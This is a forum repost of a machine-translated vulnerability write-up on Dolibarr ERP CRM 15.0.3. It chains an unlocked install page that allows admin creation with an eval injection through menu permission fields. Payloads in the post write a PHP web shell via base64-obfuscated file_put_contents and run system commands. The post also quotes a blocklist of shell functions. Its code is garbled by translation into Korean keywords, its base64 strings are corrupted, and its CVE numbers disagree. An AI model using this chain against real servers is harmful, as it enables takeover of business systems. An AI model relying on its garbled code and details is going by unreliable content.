KoreanHackerTeam
Moderator
0x01 漏洞简介
Dolibarr ERP CRM=15.0.3은 평가 주입에 취약합니다. 기본적으로 모든 관리자는 Dolibarr의 설치 페이지에 추가 할 수 있으며 성공적으로 추가하면 악성 코드를 데이터베이스에 삽입 한 다음 Eval에 의해 실행할 수 있습니다.CVE 번호 : CVE-2022-2633
취약성 설명 : Dolibarr edit.php에는 원격 명령 실행 취약점이 있습니다. 공격자가 논리적 취약성을 통해 관리자를 생성 한 후 배경 취약점을 통해 서버 권한을 얻을 수 있습니다.
영향을받는 버전 :=15.0.3
0x02 漏洞分析
1.环境搭建
소스 코드 다운로드 주소 : https://github.com/dolibarr/dolibarr/archive/refs/15.0.3.zip웹 디렉토리에 압축을 풀고 직접 액세스하십시오 ~/htdocs/

그런 다음 conf/conf.php를 설치하도록 구성하십시오
2.任意管理员用户注册
이것은 실제로 논리적 취약성입니다. 시스템을 설치하면 시스템이 잠그지 않지만 사용자가 문서 디렉토리에 수동으로 추가해야하므로 언제든지 여기에 입력하여 관리자 계정을 추가 할 수 있습니다. ~/install/step4.php.예를 들어, 여기에 AAA 사용자를 추가하겠습니다

배경을 성공적으로 입력 할 수 있습니다

3.后台RCE
배경 RCE의 마지막 지점은 htdocs/core/lib/functions.lib.php의 dol_eval () 함수에 있습니다.그러나 여기에는 waf가 있으며 대부분의 위험한 기능은 금지됩니다.
//PHP EXEC 또는 PHP 파일 함수 사용 차단
$ forbiddenphpstrings=배열 ( '$$');
$ forbiddenphpstrings=array_merge ($ forbiddenphpstrings, 배열 ( '_ env', '_session', '_cookie', '_get', '_post', '_request'));
$ forbiddenphpfunctions=array ( 'exec', 'passthru', 'shell_exec', 'system', 'proc_open', 'popen', 'Eval', 'dol_eval', 'executeCli');
$ forbiddenphpfunctions=array_merge ($ forbiddenphpfunctions, array ( 'fopen', 'file_put_contents', 'fputs', 'fputscsv', 'fwrite', 'fprassthru', '요구', 'mkdir', 'rmdir', 'symlink', '', ''))
$ forbiddenphpfunctions=array_merge ($ forbiddenphpfunctions, array ( 'function', 'call_user_func'));
$ forbiddenphpregex='global \ s+\ $ | \ b ('. implode ( '|', $ forbiddenphpftions). ') \ b';
하다 {
$ oldstringtoclean=$ s;
$ s=str_ireplace ($ forbiddenphpstrings, '__forbidDenstring__', $ s);
$ s=preg_replace ( '/'.$ forbiddenphpregex.'/i ','__forbiddenstring__ ', $ s);
//$ s=preg_replace ( '/\ $ [a-za-z0-9 _ \-\ $]+\ (/i', ', $ s); //$ function (call 및 $ mycall-mymethod
} while ($ OldStringToclean!=$ s);
if (strpos ($ s, '__forbidDenstring__')!==false) {
DOL_SYSLOG ( 'BAD STRING 구문을 평가하는 잘못된 문자열 구문'. $ s, log_warning);
if ($ returnValue) {
'불량 문자열 구문을 반환하여 평가 :'. $ s;
} 또 다른 {
DOL_SYSLOG ( 'BAD STRING SYNTAX를 평가하여 3:'. $ s);
반품 '';
}
}
//인쇄 $ s.'br \ n ';
if ($ returnValue) {
if ($ hideerrors) {
@eval return ( 'return'. $ s. ';');
} 또 다른 {
return eval ( 'return'. $ s. ';');
}
} 또 다른 {
if ($ hideerrors) {
@eval ($ s);
} 또 다른 {
평가 ($ s);
}
}
여기서 우리는 dol_eval ()의 호출을 찾고 위의 verifcond ()를
그리고 여기 스 플라이 싱이 있으며, 우리는 나중에 이것에 대해 이야기 할 것입니다.
기능 verifcond ($ stroevaluate)
{
Global $ User, $ conf, $ langs;
Global $ Leftmenu;
글로벌 $ 권리; //dol_eval 함수로 내보내는 것
//print $ strtoevaluate.'br \ n ';
$ 권리=true;
if (isset ($ strtoevaluate) $ strtoevaluate!=='') {
$ str='if (!
dol_eval ($ str, 0, 1, '2');
}
반품 $ 권리;
}
그런 다음 Verifcond 함수의 글로벌 매개 변수 제어 가능한 호출을 찾으십시오. menubase.class.php에는 menuload () 함수의 점이 있습니다.

Verifcond 코드는 제어 가능하지만 데이터베이스의 쿼리 결과에서 얻을 수 있음을 알 수 있습니다.
Perms에주의를 기울이고 활성화하십시오. 둘 다 Verifcond에 직접 입력 할 수 있습니다.
$ resql=$ this-db-query ($ sql);
if ($ resql) {
$ numa=$ this-db-num_rows ($ resql);
$ a=0;
$ b=0;
while ($ a $ numa) {
//$ objm=$ this-db-fetch_object ($ resql);
$ menu=$ this-db-fetch_array ($ resql);
//$를 올바르게 정의하십시오
$ perms=true;
if (isset ($ menu [ 'perms'])) {
$ tmpcond=$ menu [ 'perms'];
if ($ leftmenu=='all') {
$ tmpcond=preg_replace ( '/\ $ leftmenu \ s*==\ s*['\ 'a-za-z _]+/', '1==1', $ tmpcond); //조건의 일부를 참으로 강제합니다
}
$ perms=verifcond ($ tmpcond);
//'verifcond rowid='. $ menu [ 'rowid'] 인쇄. '. $ tmpcond.':'. $ perms.'br \ n ';
}
//enabled를 정의합니다
$ enabled=true;
if (isset ($ menu [ 'enabled'])) {
$ tmpcond=$ menu [ 'enabled'];
if ($ leftmenu=='all') {
$ tmpcond=preg_replace ( '/\ $ leftmenu \ s*==\ s*['\ 'a-za-z _]+/', '1==1', $ tmpcond); //조건의 일부를 참으로 강제합니다
}
$ enabled=verifcond ($ tmpcond);
}
여기에서 SQL 문이 실행 된 것을 보려고 전면으로 가자. '.main_db_prefix'에서 데이터를 쿼리하고 있습니다. 메뉴 테이블이지만 조건부 진술이 있습니다
(0, '. $ conf-entity.')의 M.Entity
M.menu_handler in ( ''. $ this-db-escape ($ menu_handler).
따라서 '.main_db_prefix'에서 삽입 문을 찾을 수 있다면. 메뉴, PERM을 제어하고 필드 및 엔티티를 활성화 할 수 있으며 Menu_handler는 WHERE 조건을 충족시킬 수 있습니다. 엔티티는 $ Conf-Entity에서 나옵니다
$ SQL='선택 M.Rowid, M.Type, M.Module, M.FK_Menu, M.FK_MainMenu, M.FK_LeftMenu, M.Url, M.Titre, M.Prefix, M.Langs, M.Perms, M.Enabled, M.Target, M.Mainmenu, M.LeftMenu, M.Performs';
$ sql.='from'.main_db_prefix.'Menu as m ';
$ sql.='(0,'. $ confentity. ')의 M.Entity.';
$ sql.='및 m.menu_handler in ('. $ this-db-escape ($ menu_handler) ','all ')';
if ($ type_user==0) {
$ sql.='및 m.usertype in (0,2)';
}
if ($ type_user==1) {
$ sql.='및 m.usertype in (1,2)';
}
$ sql.='M.Position의 주문, M.Rowid';
여기에서 정기적으로 검색하십시오. 실제로 같은 포인트, create () 함수가 동일한 파일에 있습니다.

다음으로 매개 변수를 제어 할 수 있는지 확인해야합니다. 여기의 값은 멤버 속성으로 설정되지만 엔티티는 $ confentity이며, 위의 SQL 쿼리도 이것이기 때문에 조건을 직접 충족합니다.

다음으로 Menuload 기능을 실행할 때 Menu_handler가 자동으로 채워질 것임을 알았습니다.

조건이 해결 된 곳 모두. 나머지는 PERM과 활성화가 제어되는지 확인하는 것입니다. 클래스 내부에 멤버 변수를 할당 할 장소는 없으므로 전 세계적으로 검색해야합니다.
Perms와 Enable은 메뉴/edit.php에서 직접 제어 할 수 있습니다.

디버깅 후 MenuID가 독특해야한다는 것이 밝혀졌습니다. 그렇지 않으면 충돌하며 데이터베이스에 기록 할 수 없습니다. 여기에있는 유형은 1으로 설정해야합니다. 그렇지 않으면 오류 가보고됩니다.

다음으로, 우리는 WAF를 우회하고 평가하는 방법을 연구 할 수 있습니다. 여기서 저자의 접근 방식은 PHP의 특성 : 가변 함수를 사용하는 것입니다.
//file_put_contents
$ a=base64_decode ( 'zmlszv9wdxrfy29udgvudhm=');
//쉘 코드
$ a ( '. 1234.php', base64_decode ( 'pd9wahagcggwaw5mbygpoz8+cg=='));
Verifcond 함수를보고 있습니다
다음은 문자열 스 플라이 싱입니다. Eval이 실행되므로 괄호를 닫고 다음 코드를 주석 할 수 있습니다.
기능 verifcond ($ stroevaluate)
{
Global $ User, $ conf, $ langs;
Global $ Leftmenu;
글로벌 $ 권리; //dol_eval 함수로 내보내는 것
//print $ strtoevaluate.'br \ n ';
$ 권리=true;
if (isset ($ strtoevaluate) $ strtoevaluate!=='') {
$ str='if (!
dol_eval ($ str, 0, 1, '2');
}
반품 $ 권리;
}
이것은 그런 페이로드입니다 (무해한 페이로드
1==1)); $ d=base64_decode ( 'zwnobyanpcetlscmjmvjag8g8gchduzwqhisemjmlkjizly2hvjy0tpic='); $ a=base64_decode ( 'c3lzdgvt'); $ d); //
그런 다음 활성화 매개 변수를 넣고 데이터베이스에 저장하면 마지막으로 패키지는 다음과 같습니다.

데이터베이스에 성공적으로 저장되었습니다

디버그 및 Verifcond를 입력하십시오

Verifcond, 악의적 인 구조 스티치 바이 패스에 대한 후속 조치, dol_eval을 입력하십시오.

코드 실행이 성공적으로 실행됩니다

성공적인 getshell

취약성 호출 스택

0x03 漏洞总结
여기서이 RCE 취약점의 원칙은 실제로 2 차 주입과 유사합니다. 먼저, 악성 코드는 데이터베이스에 저장된 다음 데이터베이스에서 데이터를 추출 할 때 악성 코드가 트리거됩니다. PHP 기능 —— 가변 함수를 사용하는 WAF도 여기에 우회되어 있습니다.漏洞修复
여기서, 취약점에 대한 저자의 수정은 verifcond 함수를 강화하는 것입니다.여기서 문자열 스 플라이 싱이 취소되고 dol_eval의 네 번째 매개 변수는 '1'입니다.

이것은 다음과 같은 판단에 들어갈 것입니다. 여기의 의견을보십시오. 여기의 규칙은 RCE를 방지하도록 설계되었습니다.

하나는 dol_eval 함수의 향상입니다. 여기서 ForbiddenPhpfunctions는 Verifcond 함수를 추가하여 Verifcond의 실행을 직접 금지하지만이 HHH의 의미가 무엇인지 모르겠습니다.

저자 : Huamang
원래 텍스트 연결에서 재 인쇄 : https://blog.huamang.xyz/post/cve-2022-40871/